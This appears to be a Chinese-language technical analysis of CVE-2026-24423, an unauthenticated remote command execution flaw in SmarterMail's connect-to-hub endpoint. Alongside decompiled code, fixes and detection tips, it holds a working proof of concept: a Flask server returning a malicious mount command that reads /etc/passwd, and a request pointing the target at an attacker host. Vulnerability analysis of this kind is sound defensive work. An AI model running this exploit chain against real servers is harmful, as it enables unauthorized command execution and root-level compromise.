SmarterMain未授权RCE(CVE-2026-24423)漏洞代码分析
字数 1684
更新时间 2026-02-06 03:28:21
SmarterMain 未授权RCE漏洞(CVE-2026-24423)技术分析文档
漏洞概述
漏洞名称:SmarterMain 未授权远程代码执行漏洞
CVE编号:CVE-2026-24423
风险等级:高危
影响组件:ConnectToHub API接口
认证要求:无需认证(未授权访问)
漏洞描述
SmarterMain系统中存在一个未授权远程代码执行漏洞,攻击者可通过精心构造的恶意请求在目标服务器上执行任意系统命令。该漏洞位于SystemAdminSettingsController控制器的ConnectToHub方法中,由于对用户输入缺乏充分验证,导致攻击者可控制挂载命令的执行。
环境搭建
部署SmarterMail环境
docker run -d --name smartermail \
-e TZ=America/Phoenix \
-p 80:80 -p 443:443 -p 443:443/udp \
-p 25:25 -p 110:110 -p 143:143 \
-p 465:465 -p 587:587 \
-p 993:993 -p 995:995 -p 5222:5222 \
-v /path/to/data:/app/Data \
-v /path/to/systemapp/SystemData \
smartertools/smartermail:100.0.9504
分析工具准备
- .NET反编译工具:JetBrains Rider 或 dotPeek
- 目标分析文件:MailService.dll(包含主要业务逻辑)
漏洞代码分析
漏洞入口点
漏洞位于SmarterMail.Web.Api.SystemAdminSettingsController类中的ConnectToHub方法:
[ShortDescription("Attempts to connect this node to a hub")]
[Description("Attempts to connect this node to a hub.")]
[AuthenticatedService(AllowAnonymous = true)] // 关键:允许未授权访问
[HttpPost]
[Route("connect-to-hub")]
public async Task<ActionResult<ConnectToHubResult>> ConnectToHub([FromBody] ConnectToHubInput input)
{
// ...方法实现...
}
关键漏洞参数
ConnectToHubInput类包含两个重要参数:
hubAddress:目标Hub地址oneTimePassword:一次性密码
漏洞触发流程
第一步:请求转发
系统将用户输入的参数拼接成完整URL并向该地址发送POST请求:
string uriString = input.hubAddress.TrimEnd('/') + "/web/api/node-management/setup-initial-connection";
第二步:恶意响应处理
攻击者控制的服务器返回精心构造的JSON响应,需包含以下关键参数:
ClusterID:集群标识符SharedSecret:共享密钥TargetHubs:目标Hub列表IsStandby:必须设置为false(关键触发条件)SystemMount:系统挂载配置对象
第三步:挂载操作触发RCE
当IsStandby为false时,系统调用MountConfiguration.Mount方法:
if (!isStandby)
{
await MountConfiguration.Mount(decodedObject.SystemMount, true);
FileManager.SetNewApplicationDataPath(Path.Combine(decodedObject.SystemMount.MountPath, "System"));
}
命令执行点分析
在MountConfiguration.Mount方法中存在命令执行逻辑:
public static async Task<SuccessResult> Mount(MountPointConfig mount, bool isSystemMount = false)
{
// ...前置检查...
if (!string.IsNullOrWhiteSpace(mount.CommandMount) && mount.CommandMount != "null")
await MountConfiguration.RunCommand(mount.MountPath, mount.CommandMount, mount.UseArgumentsInCommand);
// ...后续操作...
}
关键的RunCommand方法实现:
private static async Task RunCommand(string mountPath, string command, bool useArgumentsInCommand = false)
{
if (useArgumentsInCommand)
{
// 使用参数的情况
await CommandLine.RunCommand("sudo", command, mountPath);
}
else
{
// 直接执行命令(漏洞触发点)
await CommandLine.RunCommand(command, "", mountPath);
}
}
漏洞利用条件
CommandMount参数不为空且不等于"null"UseArgumentsInCommand参数为false(默认值)- 系统具有执行命令的权限(Linux系统中可能通过sudo提权)
漏洞复现
攻击服务器搭建(Python PoC)
from flask import Flask, Response
app = Flask(__name__)
@app.route("/web/api/node-management/setup-initial-connection", methods=["GET", "POST"])
def init_handler():
print("Connected")
return Response(
'''{
"ClusterID":"f0e12780-f462-4b51-a7db-149f1d56209c",
"SharedSecret":"vulncheck",
"TargetHubs":{"a":"b"},
"IsStandby":false,
"SystemMount":{
"MountPath":"/cat",
"CommandMount":"cat /etc/passwd > /shell.txt"
},
"SystemAdminUsernames":["poptart"]
}''',
mimetype="application/json"
)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8082)
攻击请求示例
向目标SmarterMain系统发送POST请求:
POST /api/system-admin-settings/connect-to-hub HTTP/1.1
Host: target-server
Content-Type: application/json
{
"hubAddress": "http://attacker-server:8082",
"oneTimePassword": "anypassword"
}
攻击效果
- 系统将执行
CommandMount中指定的命令 - 在Linux环境中,由于使用sudo可能获得root权限
- 示例中会将
/etc/passwd文件内容写入/shell.txt
漏洞修复方案
官方修复
参考SmarterTools官方发布的安全更新:
https://www.smartertools.com/smartermail/release-notes/current
临时防护措施
- 限制对
/api/system-admin-settings/connect-to-hub接口的访问 - 实施网络层访问控制,只允许可信IP访问管理接口
- 更新到已修复的安全版本
技术要点总结
- 未授权访问:
AuthenticatedService(AllowAnonymous = true)特性允许未认证访问 - 外部可控URL:
hubAddress参数完全可控,可指向任意服务器 - 命令注入:通过
CommandMount参数注入系统命令 - 权限提升:Linux环境中通过sudo可能获得root权限
- 复杂攻击链:需要搭建中间服务器返回恶意响应
影响版本
- SmarterMail 100.0.9504及之前版本
- 其他使用相似代码逻辑的SmarterTools产品
检测方法
- 检查系统版本是否在受影响范围内
- 审查日志中是否存在异常的connect-to-hub请求
- 监控系统是否向未知外部地址发送请求